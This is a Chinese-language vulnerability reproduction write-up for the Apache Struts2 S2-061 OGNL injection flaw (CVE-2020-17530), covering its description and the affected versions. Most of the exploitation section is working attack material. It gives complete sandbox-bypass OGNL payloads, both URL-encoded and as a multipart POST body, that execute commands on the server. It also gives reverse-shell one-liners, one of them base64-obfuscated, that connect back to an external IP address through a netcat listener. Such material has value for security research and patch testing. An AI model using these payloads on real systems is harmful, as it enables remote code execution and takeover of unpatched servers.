【漏洞復現】Struts2系列
- 1. 了解Struts2
- 1. Struts2 S2-061 RCE (CVE-2020-17530)
- 1. 漏洞描述
- 2. 影響版本
- 3. 復現過程
1. 了解Struts2
Apache Struts2是一個基于MVC設計模式的Web應用框架,會對某些標簽屬性(比如 id)的屬性值進行二次表達式解析,因此在某些場景下將可能導致遠程代碼執行。
Struts2是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
1. Struts2 S2-061 RCE (CVE-2020-17530)
1. 漏洞描述
Apache Struts于2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達式注入漏洞,從而造成遠程代碼執行,可能照成控制服務器等危害。S2-061是對S2-059沙盒進行的繞過
簡單描述: 在特定的環境下,遠程攻擊者通過構造 惡意的OGNL表達式 ,可造成 任意代碼執行
2. 影響版本
Apache Struts 2.0.0-2.5.25
3. 復現過程
PoC:
原始:%{ 'test' + (11 + 11).toString()}
url編碼: ?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d
漏洞利用:
方法一,可以看到執行相加,這里直接構造payload執行命令
原始:
#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'id'}).(#res=#exec.exec(#cmd))}
url編碼:
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}
方法二,在首頁使用burp抓包發送到重放模塊,并修改成POST傳輸
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary5DQYTI1H
Content-Length: 817------WebKitFormBoundary5DQYTI1H
Content-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundary5DQYTI1H--
方法三,反彈shell
vps上執行監聽:nc -lvnp 3333
受害者主機上執行任意一個就行:
①bash -i >& /dev/tcp/101.42.37.85/9001 0>&1
②bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMzcuODUvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}